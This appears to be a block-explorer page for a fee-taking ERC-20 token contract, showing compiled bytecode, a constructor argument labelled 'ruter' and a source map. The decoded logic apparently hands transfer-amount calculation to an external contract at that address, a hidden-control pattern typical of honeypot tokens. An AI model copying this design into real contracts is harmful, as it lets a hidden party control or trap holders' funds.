b506101dc6104413660046114f4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047857600080fd5b506102c461048736600461152d565b6107ae565b34801561049857600080fd5b506102c46104a7366004611408565b6107e3565b60006104b93384846108cd565b5060015b92915050565b60006104d08484846109f1565b610522843361051d856040518060600160405280602881526020016116db602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d1b565b6108cd565b5060019392505050565b6000546001600160a01b0316331461055f5760405162461bcd60e51b81526004016105569061154f565b60405180910390fd5b60128054911515600160a81b0260ff60a81b19909216919091179055565b600f546001600160a01b0316336001600160a01b031614806105b257506010546001600160a01b0316336001600160a01b0316145b6105bb57600080fd5b476105c581610d55565b50565b6000546001600160a01b031633146105f25760405162461bcd60e51b81526004016105569061154f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106665760405162461bcd60e51b81526004016105569061154f565b601355565b6000546001600160a01b031633146106955760405162461bcd60e51b81526004016105569061154f565b600793909355600991909155600855600a55565b60006104b93384846109f1565b600f546001600160a01b0316336001600160a01b031614806106eb57506010546001600160a01b0316336001600160a01b0316145b6106f457600080fd5b306000908152600260205260409020546105c581610e33565b6000546001600160a01b031633146107375760405162461bcd60e51b81526004016105569061154f565b60005b828110156107a857816005600086868581811061075957610759611584565b905060200201602081019061076e9190611408565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806107a0816115b0565b91505061073a565b50505050565b6000546001600160a01b031633146107d85760405162461bcd60e51b81526004016105569061154f565b601491909155601555565b6000546001600160a01b0316331461080d5760405162461bcd60e51b81526004016105569061154f565b6001600160a01b0381166108725760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610556565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610556565b6001600160a01b0382166109905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610556565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610556565b6001600160a01b038216610ab75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610556565b60008111610b195760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610556565b6000546001600160a01b03848116911614801590610b4557506000546001600160a01b03838116911614155b15610c14573060009081526002602052604090205460135481108015908190610b785750601254600160a01b900460ff16155b8015610b9257506012546001600160a01b03868116911614155b8015610ba75750601254600160a81b900460ff165b8015610bcc57506001600160a01b03851660009081526005602052604090205460ff16155b8015610bf157506001600160a01b03841660009081526005602052604090205460ff16155b15610c1157610bff82610e33565b478015610c0f57610c0f47610d55565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c5657506001600160a01b03831660009081526005602052604090205460ff165b80610c8857506012546001600160a01b03858116911614801590610c8857506012546001600160a01b03848116911614155b15610c9557506000610d0f565b6012546001600160a01b038581169116148015610cc057506011546001600160a01b03848116911614155b15610cd257600754600b55600854600c555b6012546001600160a01b038481169116148015610cfd57506011546001600160a01b03858116911614155b15610d0f57600954600b55600a54600c555b6107a884848484610fad565b60008184841115610d3f5760405162461bcd60e51b81526004016105569190611308565b506000610d4c84866115c9565b95945050505050565b6012805460ff60a01b1916600160a01b1790556015548190600090610d8890606490610d82908590610fdb565b90611064565b90506000610da96064610d8260146000015486610fdb90919063ffffffff16565b6010546040519192506001600160a01b03169083156108fc029084906000818181858888f19350505050158015610de4573d6000803e3d6000fd5b50600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e1f573d6000803e3d6000fd5b50506012805460ff60a01b19169055505050565b6012805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e7b57610e7b611584565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ed4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef891906115dc565b81600181518110610f0b57610f0b611584565b6001600160a01b039283166020918202929092010152601154610f3191309116846108cd565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f6a9085906000908690309042906004016115f9565b600060405180830381600087803b158015610f8457600080fd5b505af1158015610f98573d6000803e3d6000fd5b50506012805460ff60a01b1916905550505050565b80610fba57610fba6110a6565b610fc58484846110d4565b806107a8576107a8600d54600b55600e54600c55565b600082600003610fed575060006104bd565b6000610ff9838561166a565b9050826110068583611681565b1461105d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610556565b9392505050565b600061105d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111a2565b600b541580156110b65750600c54155b156110bd57565b600b8054600d55600c8054600e5560009182905555565b60008060006110e48686866111d0565b6001600160a01b038916600090815260026020526040902054929550909350915061110f9084611267565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461113e90836112a9565b6001600160a01b0380871660008181526002602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111929085815260200190565b60405180910390a3505050505050565b600081836111c35760405162461bcd60e51b81526004016105569190611308565b506000610d4c8486611681565b60115460405163a901431360e01b81526001600160a01b038581166004830152848116602483015260448201849052600092839283928392839291169063a90143139060640160408051808303816000875af1158015611234573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125891906116a3565b90999098509596505050505050565b600061105d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d1b565b6000806112b683856116c7565b90508381101561105d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610556565b600060208083528351808285015260005b8181101561133557858101830151858201604001528201611319565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105c557600080fd5b6000806040838503121561137e57600080fd5b823561138981611356565b946020939093013593505050565b6000806000606084860312156113ac57600080fd5b83356113b781611356565b925060208401356113c781611356565b929592945050506040919091013590565b803580151581146113e857600080fd5b919050565b6000602082840312156113ff57600080fd5b61105d826113d8565b60006020828403121561141a57600080fd5b813561105d81611356565b60006020828403121561143757600080fd5b5035919050565b6000806000806080858703121561145457600080fd5b5050823594602084013594506040840135936060013592509050565b60008060006040848603121561148557600080fd5b833567ffffffffffffffff8082111561149d57600080fd5b818601915086601f8301126114b157600080fd5b8135818111156114c057600080fd5b8760208260051b85010111156114d557600080fd5b6020928301955093506114eb91860190506113d8565b90509250925092565b6000806040838503121561150757600080fd5b823561151281611356565b9150602083013561152281611356565b809150509250929050565b6000806040838503121561154057600080fd5b50508035926020909101359150565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016115c2576115c261159a565b5060010190565b818103818111156104bd576104bd61159a565b6000602082840312156115ee57600080fd5b815161105d81611356565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116495784516001600160a01b031683529383019391830191600101611624565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176104bd576104bd61159a565b60008261169e57634e487b7160e01b600052601260045260246000fd5b500490565b600080604083850312156116b657600080fd5b505080516020909101519092909150565b808201808211156104bd576104bd61159a56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122098f34e908674a10d93f0e46189a5d5f8733b53a1639dd1cbf6a6fba3c259478464736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000003effdf5c9b5755aa0813419f99f68fc6d46c9194

-----Decoded View---------------
Arg [0] : ruter (address): 0x3eFFdF5c9b5755aa0813419f99F68Fc6D46C9194

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000003effdf5c9b5755aa0813419f99f68fc6d46c9194


Deployed Bytecode Sourcemap

4307:10768:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6419:83;;;;;;;;;;-1:-1:-1;6489:5:0;;;;;;;;;;;;-1:-1:-1;;;6489:5:0;;;;6419:83;;;;;;;:::i;:::-;;;;;;;;7323:193;;;;;;;;;;-1:-1:-1;7323:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7323:193:0;1023:187:1;6696:95:0;;;;;;;;;;-1:-1:-1;4803:18:0;6696:95;;;1361:25:1;;;1349:2;1334:18;6696:95:0;1215:177:1;7524:446:0;;;;;;;;;;-1:-1:-1;7524:446:0;;;;;:::i;:::-;;:::i;5467:50::-;;;;;;;;;;;;;;;;6605:83;;;;;;;;;;-1:-1:-1;6605:83:0;;4526:1;2000:36:1;;1988:2;1973:18;6605:83:0;1858:184:1;5620:32:0;;;;;;;;;;-1:-1:-1;5620:32:0;;;;;;;;;;;;;2221:25:1;;;2277:2;2262:18;;2255:34;;;;2194:18;5620:32:0;2047:248:1;5245:33:0;;;;;;;;;;-1:-1:-1;5245:33:0;;;;-1:-1:-1;;;;;5245:33:0;;;;;;-1:-1:-1;;;;;2464:32:1;;;2446:51;;2434:2;2419:18;5245:33:0;2300:203:1;14729:101:0;;;;;;;;;;-1:-1:-1;14729:101:0;;;;;:::i;:::-;;:::i;:::-;;11535:233;;;;;;;;;;;;;:::i;6799:117::-;;;;;;;;;;-1:-1:-1;6799:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6892:16:0;6865:7;6892:16;;;:7;:16;;;;;;;6799:117;1625:148;;;;;;;;;;;;;:::i;1411:79::-;;;;;;;;;;-1:-1:-1;1449:7:0;1476:6;-1:-1:-1;;;;;1476:6:0;1411:79;;6510:87;;;;;;;;;;-1:-1:-1;6582:7:0;;;;;;;;;;;;-1:-1:-1;;;6582:7:0;;;;6510:87;;14538:139;;;;;;;;;;-1:-1:-1;14538:139:0;;;;;:::i;:::-;;:::i;14195:291::-;;;;;;;;;;-1:-1:-1;14195:291:0;;;;;:::i;:::-;;:::i;5285:31::-;;;;;;;;;;-1:-1:-1;5285:31:0;;;;-1:-1:-1;;;;;5285:31:0;;;6924:199;;;;;;;;;;-1:-1:-1;6924:199:0;;;;;:::i;:::-;;:::i;11293:234::-;;;;;;;;;;;;;:::i;14838:::-;;;;;;;;;;-1:-1:-1;14838:234:0;;;;;:::i;:::-;;:::i;7131:184::-;;;;;;;;;;-1:-1:-1;7131:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7280:18:0;;;7248:7;7280:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7131:184;12558:194;;;;;;;;;;-1:-1:-1;12558:194:0;;;;;:::i;:::-;;:::i;1781:244::-;;;;;;;;;;-1:-1:-1;1781:244:0;;;;;:::i;:::-;;:::i;7323:193::-;7425:4;7447:39;250:10;7470:7;7479:6;7447:8;:39::i;:::-;-1:-1:-1;7504:4:0;7323:193;;;;;:::o;7524:446::-;7656:4;7673:36;7683:6;7691:9;7702:6;7673:9;:36::i;:::-;7720:220;7743:6;250:10;7791:138;7847:6;7791:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7791:19:0;;;;;;:11;:19;;;;;;;;250:10;7791:33;;;;;;;;;;:37;:138::i;:::-;7720:8;:220::i;:::-;-1:-1:-1;7958:4:0;7524:446;;;;;:::o;14729:101::-;1538:6;;-1:-1:-1;;;;;1538:6:0;250:10;1538:22;1530:67;;;;-1:-1:-1;;;1530:67:0;;;;;;;:::i;:::-;;;;;;;;;14796:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;14796:26:0::1;-1:-1:-1::0;;;;14796:26:0;;::::1;::::0;;;::::1;::::0;;14729:101::o;11535:233::-;11601:18;;-1:-1:-1;;;;;11601:18:0;250:10;-1:-1:-1;;;;;11585:34:0;;:70;;;-1:-1:-1;11639:16:0;;-1:-1:-1;;;;;11639:16:0;250:10;-1:-1:-1;;;;;11623:32:0;;11585:70;11577:79;;;;;;11696:21;11728:32;11696:21;11728:12;:32::i;:::-;11566:202;11535:233::o;1625:148::-;1538:6;;-1:-1:-1;;;;;1538:6:0;250:10;1538:22;1530:67;;;;-1:-1:-1;;;1530:67:0;;;;;;;:::i;:::-;1732:1:::1;1716:6:::0;;1695:40:::1;::::0;-1:-1:-1;;;;;1716:6:0;;::::1;::::0;1695:40:::1;::::0;1732:1;;1695:40:::1;1763:1;1746:19:::0;;-1:-1:-1;;;;;;1746:19:0::1;::::0;;1625:148::o;14538:139::-;1538:6;;-1:-1:-1;;;;;1538:6:0;250:10;1538:22;1530:67;;;;-1:-1:-1;;;1530:67:0;;;;;;;:::i;:::-;14629:19:::1;:40:::0;14538:139::o;14195:291::-;1538:6;;-1:-1:-1;;;;;1538:6:0;250:10;1538:22;1530:67;;;;-1:-1:-1;;;1530:67:0;;;;;;;:::i;:::-;14329:14:::1;:30:::0;;;;14370:15:::1;:32:::0;;;;14413:12:::1;:26:::0;14450:13:::1;:28:::0;14195:291::o;6924:199::-;7029:4;7051:42;250:10;7075:9;7086:6;7051:9;:42::i;11293:234::-;11359:18;;-1:-1:-1;;;;;11359:18:0;250:10;-1:-1:-1;;;;;11343:34:0;;:70;;;-1:-1:-1;11397:16:0;;-1:-1:-1;;;;;11397:16:0;250:10;-1:-1:-1;;;;;11381:32:0;;11343:70;11335:79;;;;;;11469:4;11425:23;6892:16;;;:7;:16;;;;;;11486:33;6892:16;11486;:33::i;14838:234::-;1538:6;;-1:-1:-1;;;;;1538:6:0;250:10;1538:22;1530:67;;;;-1:-1:-1;;;1530:67:0;;;;;;;:::i;:::-;14955:9:::1;14951:114;14970:19:::0;;::::1;14951:114;;;15045:8;15011:18;:31;15030:8;;15039:1;15030:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15011:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;15011:31:0;:42;;-1:-1:-1;;15011:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14991:3;::::1;::::0;::::1;:::i;:::-;;;;14951:114;;;;14838:234:::0;;;:::o;12558:194::-;1538:6;;-1:-1:-1;;;;;1538:6:0;250:10;1538:22;1530:67;;;;-1:-1:-1;;;1530:67:0;;;;;;;:::i;:::-;12661:12:::1;:38:::0;;;;12710:22;:34;12558:194::o;1781:244::-;1538:6;;-1:-1:-1;;;;;1538:6:0;250:10;1538:22;1530:67;;;;-1:-1:-1;;;1530:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1870:22:0;::::1;1862:73;;;::::0;-1:-1:-1;;;1862:73:0;;5992:2:1;1862:73:0::1;::::0;::::1;5974:21:1::0;6031:2;6011:18;;;6004:30;6070:34;6050:18;;;6043:62;-1:-1:-1;;;6121:18:1;;;6114:36;6167:19;;1862:73:0::1;5790:402:1::0;1862:73:0::1;1972:6;::::0;;1951:38:::1;::::0;-1:-1:-1;;;;;1951:38:0;;::::1;::::0;1972:6;::::1;::::0;1951:38:::1;::::0;::::1;2000:6;:17:::0;;-1:-1:-1;;;;;;2000:17:0::1;-1:-1:-1::0;;;;;2000:17:0;;;::::1;::::0;;;::::1;::::0;;1781:244::o;8330:369::-;-1:-1:-1;;;;;8457:19:0;;8449:68;;;;-1:-1:-1;;;8449:68:0;;6399:2:1;8449:68:0;;;6381:21:1;6438:2;6418:18;;;6411:30;6477:34;6457:18;;;6450:62;-1:-1:-1;;;6528:18:1;;;6521:34;6572:19;;8449:68:0;6197:400:1;8449:68:0;-1:-1:-1;;;;;8536:21:0;;8528:68;;;;-1:-1:-1;;;8528:68:0;;6804:2:1;8528:68:0;;;6786:21:1;6843:2;6823:18;;;6816:30;6882:34;6862:18;;;6855:62;-1:-1:-1;;;6933:18:1;;;6926:32;6975:19;;8528:68:0;6602:398:1;8528:68:0;-1:-1:-1;;;;;8607:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8659:32;;1361:25:1;;;8659:32:0;;1334:18:1;8659:32:0;;;;;;;8330:369;;;:::o;8707:1664::-;-1:-1:-1;;;;;8829:18:0;;8821:68;;;;-1:-1:-1;;;8821:68:0;;7207:2:1;8821:68:0;;;7189:21:1;7246:2;7226:18;;;7219:30;7285:34;7265:18;;;7258:62;-1:-1:-1;;;7336:18:1;;;7329:35;7381:19;;8821:68:0;7005:401:1;8821:68:0;-1:-1:-1;;;;;8908:16:0;;8900:64;;;;-1:-1:-1;;;8900:64:0;;7613:2:1;8900:64:0;;;7595:21:1;7652:2;7632:18;;;7625:30;7691:34;7671:18;;;7664:62;-1:-1:-1;;;7742:18:1;;;7735:33;7785:19;;8900:64:0;7411:399:1;8900:64:0;8992:1;8983:6;:10;8975:64;;;;-1:-1:-1;;;8975:64:0;;8017:2:1;8975:64:0;;;7999:21:1;8056:2;8036:18;;;8029:30;8095:34;8075:18;;;8068:62;-1:-1:-1;;;8146:18:1;;;8139:39;8195:19;;8975:64:0;7815:405:1;8975:64:0;1449:7;1476:6;-1:-1:-1;;;;;9056:15:0;;;1476:6;;9056:15;;;;:32;;-1:-1:-1;1449:7:0;1476:6;-1:-1:-1;;;;;9075:13:0;;;1476:6;;9075:13;;9056:32;9052:593;;;9154:4;9105:28;6892:16;;;:7;:16;;;;;;9214:19;;9190:43;;;;;;;9252:18;;-1:-1:-1;9264:6:0;;-1:-1:-1;;;9264:6:0;;;;9263:7;9252:18;:43;;;;-1:-1:-1;9282:13:0;;-1:-1:-1;;;;;9274:21:0;;;9282:13;;9274:21;;9252:43;:58;;;;-1:-1:-1;9299:11:0;;-1:-1:-1;;;9299:11:0;;;;9252:58;:87;;;;-1:-1:-1;;;;;;9315:24:0;;;;;;:18;:24;;;;;;;;9314:25;9252:87;:114;;;;-1:-1:-1;;;;;;9344:22:0;;;;;;:18;:22;;;;;;;;9343:23;9252:114;9248:386;;;9387:38;9404:20;9387:16;:38::i;:::-;9473:21;9517:22;;9513:106;;9564:35;9577:21;9564:12;:35::i;:::-;9368:266;9248:386;9090:555;;9052:593;-1:-1:-1;;;;;9721:24:0;;9657:12;9721:24;;;:18;:24;;;;;;9672:4;;9721:24;;;:50;;-1:-1:-1;;;;;;9749:22:0;;;;;;:18;:22;;;;;;;;9721:50;9720:102;;;-1:-1:-1;9785:13:0;;-1:-1:-1;;;;;9777:21:0;;;9785:13;;9777:21;;;;:44;;-1:-1:-1;9808:13:0;;-1:-1:-1;;;;;9802:19:0;;;9808:13;;9802:19;;9777:44;9716:594;;;-1:-1:-1;9849:5:0;9716:594;;;9932:13;;-1:-1:-1;;;;;9924:21:0;;;9932:13;;9924:21;:55;;;;-1:-1:-1;9963:15:0;;-1:-1:-1;;;;;9949:30:0;;;9963:15;;9949:30;;9924:55;9921:162;;;10012:14;;10000:9;:26;10055:12;;10045:7;:22;9921:162;10142:13;;-1:-1:-1;;;;;10136:19:0;;;10142:13;;10136:19;:55;;;;-1:-1:-1;10175:15:0;;-1:-1:-1;;;;;10159:32:0;;;10175:15;;10159:32;;10136:55;10132:165;;;10224:15;;10212:9;:27;10268:13;;10258:7;:23;10132:165;10322:41;10337:4;10343:2;10347:6;10355:7;10322:14;:41::i;2389:224::-;2509:7;2545:12;2537:6;;;;2529:29;;;;-1:-1:-1;;;2529:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2569:9:0;2581:5;2585:1;2581;:5;:::i;:::-;2569:17;2389:224;-1:-1:-1;;;;;2389:224:0:o;10870:415::-;5746:6;:13;;-1:-1:-1;;;;5746:13:0;-1:-1:-1;;;5746:13:0;;;11027:22;;10965:6;;5746:13;;11007:52:::1;::::0;11055:3:::1;::::0;11007:43:::1;::::0;10965:6;;11007:19:::1;:43::i;:::-;:47:::0;::::1;:52::i;:::-;10982:77;;11070:24;11097:54;11147:3;11097:45;11117:12;:24;;;11097:15;:19;;:45;;;;:::i;:54::-;11170:16;::::0;11162:50:::1;::::0;11070:81;;-1:-1:-1;;;;;;11170:16:0::1;::::0;11162:50;::::1;;;::::0;11197:14;;11170:16:::1;11162:50:::0;11170:16;11162:50;11197:14;11170:16;11162:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;11231:18:0::1;::::0;11223:54:::1;::::0;-1:-1:-1;;;;;11231:18:0;;::::1;::::0;11223:54;::::1;;;::::0;11260:16;;11231:18:::1;11223:54:::0;11231:18;11223:54;11260:16;11231:18;11223:54;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5782:6:0;:14;;-1:-1:-1;;;;5782:14:0;;;-1:-1:-1;;;10870:415:0:o;10379:483::-;5746:6;:13;;-1:-1:-1;;;;5746:13:0;-1:-1:-1;;;5746:13:0;;;10481:16:::1;::::0;;10495:1:::1;10481:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10481:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10481:16:0::1;10457:40;;10526:4;10508;10513:1;10508:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10508:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10552:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10552:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10508:7;;10552:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10542:4;10547:1;10542:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10542:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10617:15:::1;::::0;10585:62:::1;::::0;10602:4:::1;::::0;10617:15:::1;10635:11:::0;10585:8:::1;:62::i;:::-;10658:15;::::0;:196:::1;::::0;-1:-1:-1;;;10658:196:0;;-1:-1:-1;;;;;10658:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10739:11;;10658:15:::1;::::0;10781:4;;10808::::1;::::0;10828:15:::1;::::0;10658:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5782:6:0;:14;;-1:-1:-1;;;;5782:14:0;;;-1:-1:-1;;;;10379:483:0:o;11776:282::-;11932:7;11927:28;;11941:14;:12;:14::i;:::-;11966:44;11984:6;11992:9;12003:6;11966:17;:44::i;:::-;12026:7;12021:29;;12035:15;8261:17;;8249:9;:29;8299:15;;8289:7;:25;8205:117;2621:246;2679:7;2703:1;2708;2703:6;2699:47;;-1:-1:-1;2733:1:0;2726:8;;2699:47;2756:9;2768:5;2772:1;2768;:5;:::i;:::-;2756:17;-1:-1:-1;2801:1:0;2792:5;2796:1;2756:17;2792:5;:::i;:::-;:10;2784:56;;;;-1:-1:-1;;;2784:56:0;;10328:2:1;2784:56:0;;;10310:21:1;10367:2;10347:18;;;10340:30;10406:34;10386:18;;;10379:62;-1:-1:-1;;;10457:18:1;;;10450:31;10498:19;;2784:56:0;10126:397:1;2784:56:0;2858:1;2621:246;-1:-1:-1;;;2621:246:0:o;2875:132::-;2933:7;2960:39;2964:1;2967;2960:39;;;;;;;;;;;;;;;;;:3;:39::i;7978:219::-;8025:9;;:14;:30;;;;-1:-1:-1;8043:7:0;;:12;8025:30;8021:43;;;7978:219::o;8021:43::-;8096:9;;;8076:17;:29;8134:7;;;8116:15;:25;-1:-1:-1;8154:13:0;;;;8178:11;7978:219::o;12066:484::-;12213:15;12243:23;12281;12318:36;12329:6;12336:9;12346:7;12318:10;:36::i;:::-;-1:-1:-1;;;;;12383:15:0;;;;;;:7;:15;;;;;;12198:156;;-1:-1:-1;12198:156:0;;-1:-1:-1;12198:156:0;-1:-1:-1;12383:28:0;;12198:156;12383:19;:28::i;:::-;-1:-1:-1;;;;;12365:15:0;;;;;;;:7;:15;;;;;;:46;;;;12443:18;;;;;;;:39;;12466:15;12443:22;:39::i;:::-;-1:-1:-1;;;;;12422:18:0;;;;;;;:7;:18;;;;;;;:60;;;;12498:44;;;;;;;;;;12526:15;1361:25:1;;1349:2;1334:18;;1215:177;12498:44:0;;;;;;;;12187:363;;;12066:484;;;:::o;3015:223::-;3135:7;3170:12;3163:5;3155:28;;;;-1:-1:-1;;;3155:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3194:9:0;3206:5;3210:1;3206;:5;:::i;12803:365::-;13063:15;;:57;;-1:-1:-1;;;13063:57:0;;-1:-1:-1;;;;;10786:15:1;;;13063:57:0;;;10768:34:1;10838:15;;;10818:18;;;10811:43;10870:18;;;10863:34;;;12952:7:0;;;;;;;;;;13063:15;;;:31;;10703:18:1;;13063:57:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13031:89;;;;-1:-1:-1;13152:7:0;;-1:-1:-1;;;;;;12803:365:0:o;2245:136::-;2303:7;2330:43;2334:1;2337;2330:43;;;;;;;;;;;;;;;;;:3;:43::i;2058:179::-;2116:7;;2148:5;2152:1;2148;:5;:::i;:::-;2136:17;;2177:1;2172;:6;;2164:46;;;;-1:-1:-1;;;2164:46:0;;11490:2:1;2164:46:0;;;11472:21:1;11529:2;11509:18;;;11502:30;11568:29;11548:18;;;11541:57;11615:18;;2164:46:0;11288:351:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2508:160::-;2573:20;;2629:13;;2622:21;2612:32;;2602:60;;2658:1;2655;2648:12;2602:60;2508:160;;;:::o;2673:180::-;2729:6;2782:2;2770:9;2761:7;2757:23;2753:32;2750:52;;;2798:1;2795;2788:12;2750:52;2821:26;2837:9;2821:26;:::i;2858:247::-;2917:6;2970:2;2958:9;2949:7;2945:23;2941:32;2938:52;;;2986:1;2983;2976:12;2938:52;3025:9;3012:23;3044:31;3069:5;3044:31;:::i;3110:180::-;3169:6;3222:2;3210:9;3201:7;3197:23;3193:32;3190:52;;;3238:1;3235;3228:12;3190:52;-1:-1:-1;3261:23:1;;3110:180;-1:-1:-1;3110:180:1:o;3295:385::-;3381:6;3389;3397;3405;3458:3;3446:9;3437:7;3433:23;3429:33;3426:53;;;3475:1;3472;3465:12;3426:53;-1:-1:-1;;3498:23:1;;;3568:2;3553:18;;3540:32;;-1:-1:-1;3619:2:1;3604:18;;3591:32;;3670:2;3655:18;3642:32;;-1:-1:-1;3295:385:1;-1:-1:-1;3295:385:1:o;3685:689::-;3777:6;3785;3793;3846:2;3834:9;3825:7;3821:23;3817:32;3814:52;;;3862:1;3859;3852:12;3814:52;3902:9;3889:23;3931:18;3972:2;3964:6;3961:14;3958:34;;;3988:1;3985;3978:12;3958:34;4026:6;4015:9;4011:22;4001:32;;4071:7;4064:4;4060:2;4056:13;4052:27;4042:55;;4093:1;4090;4083:12;4042:55;4133:2;4120:16;4159:2;4151:6;4148:14;4145:34;;;4175:1;4172;4165:12;4145:34;4230:7;4223:4;4213:6;4210:1;4206:14;4202:2;4198:23;4194:34;4191:47;4188:67;;;4251:1;4248;4241:12;4188:67;4282:4;4274:13;;;;-1:-1:-1;4306:6:1;-1:-1:-1;4331:37:1;;4347:20;;;-1:-1:-1;4331:37:1;:::i;:::-;4321:47;;3685:689;;;;;:::o;4379:388::-;4447:6;4455;4508:2;4496:9;4487:7;4483:23;4479:32;4476:52;;;4524:1;4521;4514:12;4476:52;4563:9;4550:23;4582:31;4607:5;4582:31;:::i;:::-;4632:5;-1:-1:-1;4689:2:1;4674:18;;4661:32;4702:33;4661:32;4702:33;:::i;:::-;4754:7;4744:17;;;4379:388;;;;;:::o;